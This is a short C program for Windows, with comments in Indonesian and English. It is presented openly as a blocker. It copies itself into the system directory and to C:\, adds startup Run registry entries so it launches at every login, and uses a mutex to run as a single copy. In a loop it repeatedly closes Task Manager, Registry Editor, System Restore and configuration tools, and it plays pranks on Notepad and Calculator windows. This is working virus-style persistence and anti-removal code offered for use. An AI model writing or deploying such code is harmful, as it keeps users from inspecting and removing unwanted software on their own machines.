Program Dev C++

/*********************************
BLOCK PROGRAM BERDASARKAN CAPTION
DISERTAI MUTEX DAN REG STARUP

This program will block several applications,
so pay attention to both the written syntax
BY : RIVAL
*********************************/
#include
int main()

{
/* MUTEX */
CreateMutex(NULL,true, "Mutex");if (GetLastError() == ERROR_ALREADY_EXISTS) {ExitProcess(0);}

/* REGISTRY */
char sd[MAX_PATH]; //path untuk system directory --> C:\WINDOWS\system32
char path[MAX_PATH];//path aplikasi kita
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,path,sizeof(path));
GetSystemDirectory(sd,sizeof(sd));

strcat(sd,"\\Block.exe");
CopyFile(path,sd,false);
CopyFile(path,"C:\\Block.exe",false);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"Ini Registry Buat Block",0,REG_SZ,(const unsigned char*)"Block.exe",99);

RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"Registry yang Kedua",0,REG_SZ,(const unsigned char*)"Block.exe",99);
RegCloseKey(hKey);

//Block
HWND Prog;
while(1==1)
{
Sleep(777);
Prog = FindWindow(NULL,"Windows Task Manager");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"Registry Editor");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"Display Properties");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"System Configuration Utility");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"System Restore");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"Microsoft Configuration Utility");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);

Prog = FindWindow(NULL,"Untitled - Notepad");
if (Prog!=NULL){HWND hWin; hWin = GetForegroundWindow();
SetWindowText(hWin,"My Notepad :)");}

Prog = FindWindow(NULL,"Calculator");
if (Prog!=NULL){HWND hWin; hWin = GetForegroundWindow();
if (hWin!=(HWND)"Shell_TrayWnd")FlashWindow(hWin,true);}

if (GetAsyncKeyState(VK_F7)){return 0;} //jk ditekan F7 maka program keluar
//if you push F7 program will end
}

return 0;
}